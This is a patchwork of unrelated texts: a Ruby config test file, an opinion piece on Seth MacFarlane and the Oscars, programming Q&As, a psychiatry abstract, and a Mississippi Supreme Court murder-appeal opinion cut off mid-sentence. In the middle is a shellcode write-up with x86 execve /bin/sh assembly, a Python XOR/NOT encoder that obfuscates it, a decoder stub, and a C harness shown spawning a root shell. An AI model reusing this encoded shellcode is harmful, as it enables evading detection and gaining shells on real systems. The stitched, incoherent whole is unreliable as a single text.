f.write VanityTestHelpers::VANITY_CONFIGS["vanity.yml.mock"]
end
mock_connection_hash = { adapter: "mock" }
assert_equal mock_connection_hash, config.connection_params
end
end
it "accepts a file name" do
FileUtils.mkpath "./config"
File.open("./config/vanity.yml", "w") do |f|
f.write VanityTestHelpers::VANITY_CONFIGS["vanity.yml.mock"]
end
mock_connection_hash = { adapter: "mock" }
assert_equal mock_connection_hash, config.connection_params("vanity.yml")
end
it "returns connection strings" do
FileUtils.mkpath "./config"
File.open("./config/redis.yml", "w") do |f|
f.write VanityTestHelpers::VANITY_CONFIGS["redis.yml.url"]
end
mock_connection_string = "localhost:6379/15"
assert_equal mock_connection_string, config.connection_params("redis.yml")
end
it "pulls from the connection config key" do
connection_config = VanityTestHelpers::VANITY_CONFIGS["vanity.yml.redis"]
FileUtils.mkpath "./config"
File.open("./config/vanity.yml", "w") do |f|
f.write(connection_config)
end
assert_equal "redis://:p4ssw0rd@10.0.1.1:6380/15", config.connection_url
end
it "renders erb" do
connection_config = VanityTestHelpers::VANITY_CONFIGS["vanity.yml.redis-erb"]
ENV["VANITY_TEST_REDIS_URL"] = "redis://:p4ssw0rd@10.0.1.1:6380/15"
FileUtils.mkpath "./config"
File.open("./config/vanity.yml", "w") do |f|
f.write(connection_config)
end
connection_hash = { adapter: "redis", url: "redis://:p4ssw0rd@10.0.1.1:6380/15" }
assert_equal connection_hash, config.connection_params
end
it "returns nil if the file doesn't exist" do
FileUtils.mkpath "./config"
assert_nil config.connection_params
end
it "raises an error if the environment isn't configured" do
FileUtils.mkpath "./config"
File.open("./config/vanity.yml", "w") do |f|
f.write VanityTestHelpers::VANITY_CONFIGS["vanity.yml.mock"]
end
config.environment = "staging"
assert_raises(Vanity::Configuration::MissingEnvironment) {
config.connection_params
}
end
it "symbolizes hash keys" do
FileUtils.mkpath "./config"
File.open("./config/vanity.yml", "w") do |f|
f.write VanityTestHelpers::VANITY_CONFIGS["vanity.yml.activerecord"]
end
ar_connection_values = [:adapter, :active_record_adapter]
assert_equal ar_connection_values, config.connection_params.keys
end
end
describe "setup_locales" do
it "adds vanity locales to the I18n gem" do
begin
original_load_path = I18n.load_path
config.setup_locales
assert_includes(
I18n.load_path,
File.expand_path(File.join(__FILE__, '..', '..', 'lib/vanity/locales/vanity.en.yml'))
)
ensure
I18n.load_path = original_load_path
end
end
end
end
|
Seth MacFarlane Might Host the Oscars Again, for All the Wrong Reasons
Deadline reports that the Family Guy creator turned oddly tanned celebrity has been asked to come back in 2014, cementing the rise of the good-looking comedy guy who acts like a jerk and accuses his detractors of being humorless or worse whenever a joke offends or angers them.
Oh, dear lord. Deadline is confirming reports that Seth MacFarlance, Family Guy creator turned oddly tanned celebrity, has been asked to host next year's Oscars ceremony. Yes, they want more of that.
MacFarlane of course hosted this year's ceremony, an obnoxious evening of sexist jokes and other bad humor. Well, depending on whom you ask, anyway. He was certainly a hit with some people, giving the broadcast a big ratings boost, especially in the all-important 18-49 demographic. And speaking demographically, MacFarlane is popular with men who probably wouldn't be watching the Oscars already, meaning he brings in a whole new crowd to advertise to. So it makes sense that the Academy producers would want to have him back, even if he was a little "controversial." Controversial is good for ratings!
But Seth MacFarlane isn't actually controversial; he's just kind of an ass. And not in a funny way. He's sort of the progenitor of the snide, kinda good-looking comedy guy who acts like a jerk and accuses his detractors of being humorless or worse whenever a joke offends or angers them. It's a type embodied by the Daniel Toshes and Anthony Jeselniks of the world. And, really, there's nothing controversial about that — nothing is being stirred up that's worth talking about, it's just prickishness delivered with a cocky smirk. And some people, like the Oscars producers, mistake that for something edgy and daring. Thus they have invited MacFarlane back to do more of the same ugly routine. Or, you know, they do recognize it but don't really care. Ratings are ratings.
Who knows if he'll actually do it. In the days after this year's ceremony, MacFarlane insisted he wouldn't host again. Maybe they'll lure him back by saying he can do more songs or something? He sure does love showing us that he can sing. And the Oscars is a mighty big stage for doing just that. Deadline suggests that one thing keeping him from doing the gig is his busy schedule, which includes a new movie that he's directing and starring in (he cast Amanda Seyfried and Charlize Theron to be his love interests, reasonably enough), but I'd imagine that if he really wants to do it, he'll find the time. So we might be dealing with that mess all over again next February. Of course we'll watch the Oscars no matter what, MacFarlane or not, but it doesn't mean we have to like it.
This article is from the archive of our partner The Wire.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com. |
Q:
Which browsers and operating systems do you target on new websites?
When you are working on a new website, what combinations of browsers and operating systems do you target, and at what priorities? Do you find targeting a few specific combinations (and ignoring the rest) better than trying to strive to make them all work as intended?
Common browsers:
Firefox (1.5, 2, 3)
Internet Explorer (6, 7, 8-beta)
Opera
Chrome
Common operating systems:
Windows (XP, Vista)
Mac OSX
Linux
Unix
A:
Mainly I just target browsers as the sites I've built don't really depend on anything OS specific. As mentioned above, YAHOO's graded browser support guide is a good starting point on determining which browsers yous should/could support. And Yahoo's User Interface library (CSS+JavaScript) helps massively in achieving this.
But when developing sites I primarily do it on Firefox2 as it has the best web developing tools (firebug + wed developer toolkit). Then I also test my sites with Opera 9.5 as it's my browser of choice for browsing. I've previously lost all hope on supporting IE6 at any reasonable level so these days I just inform my users to upgrade to IE7 which is almost capable of displaying sites similarly to FF2/3+Chrome+Opera.
FF3 and Chrome are so new at the moment that I tend to ignore them, but I must say: They're friggin fast! My javascript/css heavy sites are noticeably faster with them.
A:
I'm doing:
Firefox 2 and up
IE 7 and up
Konquorer or Safari (or maybe now Chrome)
|
[Attributional style of psychiatrically and somatically ill adolescents].
The results of an investigation of adolescents with an attributional-style-questionnaire for real-life-situations are presented. Between the two clinical groups with neurotic respectively antisocial problems and the control group of adolescents with different somatic diseases only few significant differences were found corresponding to the attributional style; important differences were found according to the significance the groups ascribe to the different situations. The results are discussed and implications for the clinical therapeutic work are derived. |
# Date: 4th October 2019
# Shellcode Author: @bolonobolo - https://bolonobolo.github.io
# Tested on: Linux x86
######################## execve.asm ###############################
global _start
section .text
_start:
; put NULL bytes in the stack
xor eax, eax
push eax
//bin/sh
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
; push NULL in the EDX position
push eax
mov edx, esp
; push in the stack and then move it in ECX
push ebx
mov ecx, esp
; call the execve syscall
mov al, 11
int 0x80
###############################################################
compile the execve-stack
$ nasm -f elf32 execve.asm
$ ld -N -o sh execve.o
$ echo;objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g';echo
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
########################## encoder_mixer.py ####################
#!/usr/bin/python
# Python Encoder (XOR + NOT + Random)
import random
green = lambda text: '\033[0;32m' + text + '\033[0m'
shellcode =
("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
# The end char is 0xaa
end = "\\xaa"
print 'Encoded shellcode ...'
for x in bytearray(shellcode) :
if x < 128:
# XOR Encoding with 0xDD
x = x^0xDD
# placeholder for XOR is 0xbb
encoded += '\\xbb'
encoded += '\\x'
encoded += '%02x' % x
else:
# NOT encoding
x = ~x
# placeholder for NOT is 0xcc
encoded += '\\xcc'
encoded += '\\x'
encoded += '%02x' % (x & 0xff)
# 0xaa is 170 in dec and the others placeholders are > of 170
encoded += '\\x%02x' % random.randint(1,169)
print green("Shellcode Len: %d" % len(bytearray(shellcode)))
print green("Encoded Shellcode Len: %d" % len(bytearray(encoded)))
encoded = encoded + end
print encoded
nasm = str(encoded).replace("\\x", ",0x")
nasm = nasm[1:]
# end string char is 0xaa
print green("NASM version:")
# end = end.replace("\\x", ",0x")
print nasm
###################################################################
root@root:$ ./encoder_mixer.py
Encoded shellcode ...
Shellcode Len: 25
Encoded Shellcode Len: 300
\xbb\xec\x26\xcc\x3f\x4a\xbb\x8d\x3d\xbb\xb5\x44\xbb\xb3\x5b\xbb\xf2\x65\xbb\xae\x09\xbb\xb5\x2a\xbb\xb5\x2b\xbb\xf2\x1a\xbb\xf2\x4d\xbb\xbf\x9a\xbb\xb4\x61\xcc\x76\x56\xcc\x1c\x59\xbb\x8d\x56\xcc\x76\x6c\xcc\x1d\x94\xbb\x8e\x02\xcc\x76\xa5\xcc\x1e\x6d\xcc\x4f\xa3\xbb\xd6\x22\xcc\x32\x18\xcc\x7f\x7b\xaa
NASM version:
0xbb,0xec,0x26,0xcc,0x3f,0x4a,0xbb,0x8d,0x3d,0xbb,0xb5,0x44,0xbb,0xb3,0x5b,0xbb,0xf2,0x65,0xbb,0xae,0x09,0xbb,0xb5,0x2a,0xbb,0xb5,0x2b,0xbb,0xf2,0x1a,0xbb,0xf2,0x4d,0xbb,0xbf,0x9a,0xbb,0xb4,0x61,0xcc,0x76,0x56,0xcc,0x1c,0x59,0xbb,0x8d,0x56,0xcc,0x76,0x6c,0xcc,0x1d,0x94,0xbb,0x8e,0x02,0xcc,0x76,0xa5,0xcc,0x1e,0x6d,0xcc,0x4f,0xa3,0xbb,0xd6,0x22,0xcc,0x32,0x18,0xcc,0x7f,0x7b,0xaa
#################### decoder_mixer.asm ############################
global _start
section .text
_start:
jmp short call_decoder
decoder:
; the sequence of the chars in shellcode is:
; placehlder,obfuscated shellcode char,random char
pop esi
lea edi, [esi]
xor eax, eax
xor ebx, ebx
switch:
mov bl, byte [esi + eax]
cmp bl, 0xaa
jz shellcode
cmp bl, 0xbb
jz xordecode
jmp notdecode
xordecode:
mov bl, byte [esi + eax + 1]
mov byte [edi], bl
xor byte [edi], 0xDD
inc edi
add al, 3
jmp short switch
notdecode:
mov bl, byte [esi + eax + 1]
mov byte [edi], bl
not byte [edi]
inc edi
add al, 3
jmp short switch
call_decoder:
call decoder
shellcode: db
0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
############################### shellcode ############################
$ nasm -f elf32 decoder_mixer.asm
$ ld -o decoder decoder_mixer.o
$ objdump -d ./decoder_mixer|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\xaa\x74\x27\x80\xfb\xbb\x74\x02\xeb\x0e\x8a\x5c\x06\x01\x88\x1f\x80\x37\xdd\x47\x04\x03\xeb\xe3\x8a\x5c\x06\x01\x88\x1f\xf6\x17\x47\x04\x03\xeb\xd6\xe8\xca\xff\xff\xff\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\xaa"
## Put the hex code in a C script
root@root:# cat shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\xaa\x74\x27\x80\xfb\xbb\x74\x02\xeb\x0e\x8a\x5c\x06\x01\x88\x1f\x80\x37\xdd\x47\x04\x03\xeb\xe3\x8a\x5c\x06\x01\x88\x1f\xf6\x17\x47\x04\x03\xeb\xd6\xe8\xca\xff\xff\xff\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\xaa";
void main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
root@root# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@root# ./shellcode
Shellcode Length: 132
# whoami
root
# exit |
Q:
Removing const-ness from a type inside template function
void foo (void *p); // library function; can't edit
template<typename T>
void Remove (T *p)
{
// main code
foo(p); // Can we remove const ness of T here ?
}
I have multiple functions like Remove(), it can be called with const T* also, which will not match with foo(void*). Without overloading/specializing Remove() can I remove the constness of T*? ... Usage:
const int *p;
Remove(p); // error related to `foo()`
A:
If you really need it, there's a boost/C++0x metafunction for that:
template<typename T>
void Remove (T *p)
{
foo( const_cast< typename std::remove_const<T>::type *> (p) );
}
test: https://ideone.com/L6urU
|
IN THE SUPREME COURT OF MISSISSIPPI
NO. 2006-KA-00837-SCT
JAMES BRADLEY BROWN
v.
STATE OF MISSISSIPPI
DATE OF JUDGMENT: 02/09/2006
TRIAL JUDGE: HON. BOBBY BURT DELAUGHTER
COURT FROM WHICH APPEALED: HINDS COUNTY CIRCUIT COURT
ATTORNEYS FOR APPELLANT: VIRGINIA LYNN WATKINS
WILLIAM R. LABARRE
ATTORNEY FOR APPELLEE: OFFICE OF THE ATTORNEY GENERAL
BY: LADONNA C. HOLLAND
DISTRICT ATTORNEY: ELEANOR JOHNSON PETERSON
NATURE OF THE CASE: CRIMINAL - FELONY
DISPOSITION: AFFIRMED - 08/02/2007
MOTION FOR REHEARING FILED:
MANDATE ISSUED:
BEFORE WALLER, P.J., DICKINSON AND RANDOLPH, JJ.
DICKINSON, JUSTICE, FOR THE COURT:
¶1. In this deliberate-design murder case, the Defendant claims the trial court committed
reversible error by improperly admitting evidence and prohibiting questioning regarding a
witness’s informant status. The defendant also claims that the evidence was legally
insufficient to support his conviction. Finding no reversible error, we affirm the circuit
court’s disposition.
STATEMENT OF FACTS AND PROCEEDINGS
¶2. In the early morning hours of July 25, 2004, Jackson, Mississippi, firefighters were
responding to a 911 report of a business fire on Terry Road, when they were directed by an
unidentified motorist to look behind the Unique Hair Salon. There, they found an automobile
engulfed in flames and the burning body of a man later identified as Edward Lee Nichols
(“Nichols”). An autopsy revealed that Nichols had died of blunt force trauma to the back of
the head.
¶3. While investigating the crime scene, Detectives Amos Clinton and Eric Smith noticed
a pathway through the woods to the back of a residence on Shiloh Drive, where they found
a gas can and partially burned rags. They also noted that the pathway continued from the
residence to the Rebelwood Apartments.1
¶4. The police were without suspects until Shanta Payne came forward and identified
James Bradley Brown as the killer. She stated that around 4:30 a.m. on July 25, Brown
knocked on her Rebelwood apartment door and told her that he had killed someone. Payne
also identified another resident of Rebelwood Apartments, Rasheeda Newton, as a potential
witness. The police followed up by obtaining two statements from Newton, one in August
2004 and another in January 2005. Newton would later testify at trial that, although her
August statement was factually accurate, she purposely failed to inform police that Brown
had confessed to her he killed Nichols because, at the time, she was in love with Brown.
1
For clarification of the layout of the area, Detective Clinton testified that there is “a beauty
shop, which is on Terry Road. Directly behind the beauty shop is Shiloh Drive, and directly behind
Shiloh Drive is Rebelwood Apartments. It is pretty much at a straight angle. I mean they’re directly
behind one another.”
2
Newton testified that, in an effort to clear her conscience, she returned to the police station
two weeks before Brown’s trial and signed another statement specifying that Brown had
knocked on her door around 4:30 a.m. on July 25, 2004. Newton stated that Brown was
“acting all crazy,” and that he had said he “got into it” with Edward Nichols, and he had told
her “the boy was dead.” She also testified that when she told Brown she did not believe he
killed Nichols, he left her apartment and returned with his sister, Shannon Brown, who “told
[Newton] that [Brown] wasn’t lying; that it was all true.”
¶5. During the investigation, police traced the 911 call to a cell phone registered to James
Butler, who told police he was the driver of the car that intercepted and directed firefighters
to the blaze behind the Unique Hair Salon. Butler testified he saw James Brown running
toward the Rebelwood Apartments between 4:00 and 4:30 a.m. on the morning in question,
and that the day after the murder, Brown confessed to him that he “took about a grand off
[Nichols]” and hit him. Butler further testified that Brown told him he had burned the car
to get rid of his fingerprints at the crime scene.
¶6. The trial court allowed the State to introduce into evidence a letter Butler testified
Brown wrote him while the two were in jail together.2 According to Butler, the letter was
delivered to him by his cellmate, who was a prison trustee assigned to work in the barber
shop. Butler claimed that, while Brown was getting a haircut, he asked the trustee to deliver
the letter to his cellmate. Butler further testified that, sometime after he received the letter,
2
Although the record does not explicitly state why Butler was in jail at this time, his
incarceration is unrelated to the events at issue in this case.
3
Brown acknowledged to him that he authored the letter, which addressed Butler’s testimony
about the murder.
¶7. The defense called Markia Felder, who testified that Brown was with her on the night
in question. Joseph Nix, a passenger in James Butler’s car on July 25, also testified for the
defense and disputed Butler’s identification of Brown as the person running from the crime
scene to Rebelwood Apartments. Brown’s sister, Shannon Brown, testified that she never
went to Rasheeda Newton’s apartment the night of July 25. Brown testified on his own
behalf, after which the defense rested.
¶8. The jury found Brown guilty of deliberate-design murder, and the trial judge
sentenced him to life imprisonment. Following post-trial motions, Brown timely perfected
this appeal.
ANALYSIS
¶9. Brown presents for our review the following assignments of error: (1) the trial court
erred in its denial of full impeachment of James Butler; (2) the trial court erred in admitting
a letter purportedly from James Brown; (3) the trial court erred in admitting testimony of a
statement allegedly made by James Brown; (4) the trial court abused its discretion in
admitting a gas tank found near the scene; and (5) the evidence was insufficient to support
the jury verdict.
¶10. When reviewing evidentiary rulings made by the trial court, this Court employs an
abuse of discretion standard. Peterson v. State, 671 So. 2d 647, 655 (Miss. 1996) (citing
Baine v. State, 606 So. 2d 1076, 1078 (Miss. 1992); Wade v. State, 583 So. 2d 965, 967
(Miss. 1991)). This Court must first determine if the proper legal standards were applied. Id.
4
at 655-56 (citing Baine, 606 So. 2d at 1078). Where error involves the admission or
exclusion of evidence, this Court "will not reverse unless the error adversely affects a
substantial right of a party." Ladnier v. State, 878 So. 2d 926, 933 (Miss. 2004) (quoting
Whitten v. Cox, 799 So. 2d 1, 13 (Miss. 2000)).
Evidence of a plea agreement
¶11. Prior to addressing the issues presented on appeal, we address Brown’s assertion that
evidence of a plea deal Butler received after the conclusion of Brown’s trial should be
considered at this stage of review. However, this evidence will not be considered on appeal
per our Order dated January 17, 2007, in which this Court refused to allow the appellant’s
motion to supplement the record with that evidence. Brown chose to ignore such ruling and
referenced this improper material throughout his brief. The State has moved to strike that
information.
¶12. “This Court will not consider matters that do not appear in the record, and it must
confine its review to what appears in the record.” Pulphus v. State, 782 So. 2d 1220, 1224
(Miss. 2001) (citing Robinson v. State, 662 So. 2d 1100, 1104 (Miss. 1995)). This Court has
stated, "we have on many occasions held that we must decide each case by the facts shown
in the record, not assertions in the brief, however sincere counsel may be in those assertions."
Robinson, 662 So. 2d at 1104. Asserted error grounded in facts outside the record may not
be presented on direct appeal, but is more appropriately presented in a petition for post-
conviction relief. We grant the State’s motion to strike, and we must disregard all
improperly-included evidence in making today’s findings.
5
Denial of full impeachment
¶13. During discovery, Brown learned that Butler was an informant for the Hinds County
Sheriff’s Department. In an effort to show Butler’s bias toward law enforcement, Brown
attempted to introduce evidence of Butler’s relationship as an informant. The trial judge
refused to allow the evidence, holding that the Sheriff’s Department was totally different
from the Jackson Police and Fire Departments, and that Butler’s relationship with the
Sheriff’s Department did not affect his credibility as a witness. On appeal, Brown asserts
that he was denied his right to fully impeach Butler on his relationship with the Hinds County
Sheriff’s Department.
¶14. Brown cites Banks v. Dretke, 540 U.S. 668, 124 S. Ct. 1256, 157 L. Ed. 2d 1166
(2004), for the proposition that his conviction should be remanded because the jurors were
unaware that Butler was a confidential informant for the Hinds County Sheriff’s Department.
However, that case is hardly instructive here. In Banks, the State actively concealed the
witness’s paid informant status and allowed that witness to testify untruthfully on the stand
without correction. The United States Supreme Court held that where the State conceals
impeaching material in its possession, it is incumbent on the State to set the record straight.
Id. at 675-76. Here, no impeaching material was concealed S the defense was fully aware
that Butler had cooperated with the Hinds County Sheriff’s Department well in advance of
trial. Moreover, we find James Butler’s status as a confidential informant to the Hinds
County Sheriff’s Department irrelevant to this case. Such information does not have “the
tendency to make the existence of any fact that is of consequence to the determination of the
action more probable or less probable than it would be without the evidence. M.R.E. 401
6
(emphasis added). Because the Hinds County Sheriff’s Department had no involvement with
the case before us, Brown’s assertion is unfounded. Rule 402 of the Rules of Evidence
specifically provides that “[e]vidence which is not relevant is not admissible.” See Johnson
v. Fargo, 604 So. 2d 306, 309 (Miss. 1992) (“A trial judge has the discretion to exclude
irrelevant evidence”). Accordingly, the trial court did not abuse its discretion by excluding
evidence of James Butler’s relationship with the Hinds County Sheriff’s Department, as it
was not the investigating law enforcement agency in Brown’s case.
Admission of letter without authentication
¶15. Brown asserts that the trial court committed error in admitting the letter Brown
allegedly wrote to Butler while in prison. Specifically, Brown claims that the letter presented
at trial was not properly authenticated, was not the original, and that a chain of custody
between Brown and Butler had not been established.
¶16. Rule 901 of the Mississippi Rules of Evidence governs the authentication of
documents in our trial courts. Specifically, subsection (a) of that Rule states that “the
requirement of authentication or identification as a condition precedent to admissibility is
satisfied by evidence sufficient to support a finding that the matter in question is what its
proponent claims.” The Rule goes on to explain that a written document may be
authenticated by a lay witness familiar with handwriting not acquired for purposes of
litigation, or by an expert by comparing specimens that have been previously authenticated.
See M.R.E. 901(b)(2), (3). Rule 901 further provides that testimony of a witness with
knowledge is sufficient authentication that a matter is what it is claimed to be. M.R.E.
901(b)(1).
7
¶17. Butler testified that, after the trustee delivered the letter from Brown to him, Brown
acknowledged that he wrote the letter. Accordingly, the letter was sufficiently authenticated
under Rule 901(b)(1). The trial court did not err in overruling the defendant’s objection to
introduction of the letter on the basis of authenticity.
¶18. Under Mississippi Rule of Evidence 1003, a duplicate is admissible to the same extent
as the original unless a genuine question is raised as to the authenticity of the original, or if
in the circumstances it would be unfair to admit the duplicate in lieu of the original. Butler
stated on the stand that the letter presented in court was an exact duplicate of the original,
which was in his attorney’s possession during trial. The defense offered no reason why it
would be unfair to admit the duplicate in lieu of the original, and the letter was sufficiently
authenticated as noted above. Therefore, the trial court properly admitted the letter.
¶19. Brown also argued that a chain of custody was never established to connect him with
the letter. “Whether a chain of custody has been properly established is left to the discretion
of the trial court.” Brown v. State, 682 So. 2d 340, 350 (Miss. 1996) (citing Nalls v. State,
651 So. 2d 1074 (Miss. 1995); Wells v. State, 604 So. 2d 271 (Miss. 1992)). Although the
trial judge did not explicitly overrule the chain of custody objection made by the defense, the
judge did acknowledge that in light of the defendant’s admission that he wrote the letter and
because Butler testified that the trustee specifically noted that the letter came from Brown,
the letter was admissible. We agree with the trial court’s disposition regarding chain of
custody and find that the trial court’s discretion was not abused in accepting witness
testimony that the letter was what Butler claimed it to be. Thus, this assignment of error is
without merit.
8
Admission of statement made to police
¶20. After being arrested and advised of his Miranda rights, Brown invoked his right to
remain silent. However, according to Detective Clinton’s testimony, while the detectives
were handling procedural matters related to his arrest, Brown spontaneously asked Detectives
Clinton and Smith how they could help him “if he was the individual that was responsible
for Edward Nichols’s death.” Brown’s attorney objected to the introduction of that statement
on the basis that it would be an indirect comment on the defendant’s right to remain silent.
In a precautionary move, the trial judge required the State to proffer Detective Clinton’s
testimony outside of the jury’s presence to ensure the defendant’s rights were protected. In
declaring the testimony probative of the defendant’s guilty conscience, the trial judge warned
the parties not to mention that the defendant “exercised his right to remain silent or even any
partial invocation of his Miranda rights.” On appeal, Brown asserts that the testimony of
Detective Clinton makes clear that there was no further statement by Brown, otherwise, the
jury would have heard testimony of it. Therefore, Brown asserts the detective’s testimony
was a “back door effort to place before the jury the fact that Mr. Brown remained silent.”
¶21. In a case similar to this one, during the booking process on a kidnaping charge, the
defendant stated, “I want to know what happens to little girl snatchers in this town.” Hersick
v. State, 904 So. 2d 116, 126-27 (Miss. 2004). This Court found no abuse of discretion
where the trial court ruled the statement was spontaneous and admissible. Indeed, this Court
has determined that volunteered and unprompted statements are admissible, so long as they
are not the result of questioning by officers after a defendant has exercised the right to remain
silent. See Stallworth v. State, 797 So. 2d 905, 912 (Miss. 2001). We find no abuse of
9
discretion in the trial court’s decision to allow Detective Clinton to testify to Brown’s
spontaneous, uncoerced statement, and we applaud the trial judge’s efforts to assure that the
State made no reference to, or comment about, Brown’s right to remain silent. For the
reasons stated, this assignment of error is without merit.
Admission of gas tank found at residence
¶22. Brown next asserts that the trial court erred by admitting into evidence the gas tank
found in the vicinity of the crime scene, as it was not relevant. Additionally, Brown claims
that the trial court failed to weigh the gas tank’s probative value against the danger of unfair
prejudice.
¶23. With few exceptions, this Court has enforced the rule that provides, where no
objection is made at trial to an asserted error, a party is procedurally barred from asserting
the error on appeal. Fleming v. State, 604 So. 2d 280, 294 (Miss. 1992) (holding the absence
of timely objection causes the defendant to be procedurally barred from asserting the alleged
error on appeal). The defense properly preserved, by motion in limine and objection during
trial, its protest to the introduction of the gas tank based on the fact that it was evidence of
arson, an uncharged crime. The trial court overruled the motion in limine and Brown’s
continuing objection on the basis that the gas tank was probative of the defendant’s
concealment of the murder. Before admitting the gas tank into evidence, the judge asked the
defense for any further objections. The defense then objected based on chain of custody,
which the trial judge overruled. The defense never objected to introduction of the gas tank
on the basis that the trial court did not perform a Rule 403 balancing inquiry.
10
¶24. It is incumbent on the party asserting error to make a contemporaneous objection and
obtain a ruling in order to preserve the objection. Billiot v. State, 454 So. 2d 445, 456 (Miss.
1984), cert. denied, 469 U.S. 1230, 105 S. Ct. 1232, 84 L. Ed. 2d 369, reh. denied, 470 U.S.
1089, 105 S. Ct. 1858, 85 L. Ed. 2d 154 (1985). Thus, the defense is now procedurally
barred from arguing on appeal that the trial court committed reversible error by not
performing a Rule 403 balancing analysis.
Sufficiency of the evidence
¶25. Brown claims the evidence presented by the State was insufficient to support a
conviction. This Court’s standard of review for sufficiency of the evidence has been
established as follows:
Should the facts and inferences considered in a challenge to the sufficiency of
the evidence ‘point in favor of the defendant on any element of the offense
with sufficient force that reasonable men could not have found beyond a
reasonable doubt that the defendant was guilty,’ the proper remedy is for the
appellate court to reverse and render. Edwards v. State, 469 So. 2d 68, 70
(Miss. 1985) (citing May v. State, 460 So. 2d 778, 781 (Miss. 1984)); see also
Dycus v. State, 875 So. 2d 140, 164 (Miss. 2004). However, if a review of the
evidence reveals that it is of such quality and weight that, ‘having in mind the
beyond a reasonable doubt burden of proof standard, reasonable fair-minded
men in the exercise of impartial judgment might reach different conclusions
on every element of the offense,’ the evidence will be deemed to have been
sufficient. Edwards, 469 So. 2d at 70.
Bush v. State, 895 So. 2d 836, 843 (Miss. 2005).
¶26. When reviewing a case for sufficiency of the evidence, the relevant question is
whether “any rational trier of fact could have found the essential elements of the crime
beyond a reasonable doubt.” Id. at 843 (quoting Jackson v. Virginia, 443 U.S. 307, 315, 99
S.Ct. 2781, 61 L.Ed.2d 560 (1979)).
11
¶27. Brown was indicted and convicted under Miss. Code Ann. Section 97-3-19(1)(a)
(Rev. 2006). The statutory definition of deliberate-design murder is as follows: “The killing
of a human being without the authority of law by any means or in any manner shall be
murder. . .when done with deliberate design to effect the death of the person killed, or of any
human being.” Miss. Code Ann. § 97-3-19(1)(a) (Rev 2006). This Court has enumerated
the elements the prosecution is required to prove beyond a reasonable doubt as: (1) the
defendant killed the victim; (2) without authority of law; and (3) with deliberate design to
effect his death. Dilworth v. State, 909 So. 2d 731, 736 (Miss. 2005). Brown asserts that the
State failed to adduce evidence sufficient to satisfy the deliberate-design element as required
by law.
¶28. “[D]eliberate design to kill a person may be formed very quickly, and perhaps only
moments before the act of consummating the intent.” Gossett v. State, 660 So. 2d 1285,
1293 (Miss. 1995) (quoting Windham v. State, 520 So. 2d 123, 127 (Miss. 1987)). This
Court has acknowledged that deliberate-design connotes an intent to kill and may be inferred
through the intentional use of any instrument which, based on its manner of use, is calculated
to produce death or serious bodily injury. Wilson v. State, 936 So. 2d 357, 364 (Miss. 2006)
(internal citations omitted). In Wilson, this Court found sufficient evidence to convict the
defendant of deliberate-design murder where the victim had been beaten and repeatedly
stabbed by the defendant. This Court also has recognized that shooting a victim with a gun
constituted deliberate-design murder. See Jones v. State, 710 So. 2d 870 (Miss. 1998);
Hawthorne v. State, 835 So. 2d 14 (Miss. 2003).
12
¶29. Nichols’s cause of death was officially noted as “blunt force trauma” to the head. Dr.
Steven Hayne, a forensic pathologist, testified that, based on the autopsy and his report
prepared incident thereto, Nichols sustained multiple blows to the head, chest, abdomen and
back. Dr. Hayne further testified that the amount of force necessary to produce the victim’s
injuries was unlikely to have been inflicted without an object and most likely was made by
contact with a blunt object. Indeed, James Butler alleged that Brown told him the day after
the murder that he had hit Nichols. Butler testified, “He never told me what he hit him with
or what did he do or did he shoot him or anything. He just said he had hit him.” Rasheeda
Newton likewise testified that Brown told her he had “got[ten] into it” with Nichols and that
the boy was dead. Thus, based on the testimony and evidence presented, we find that the
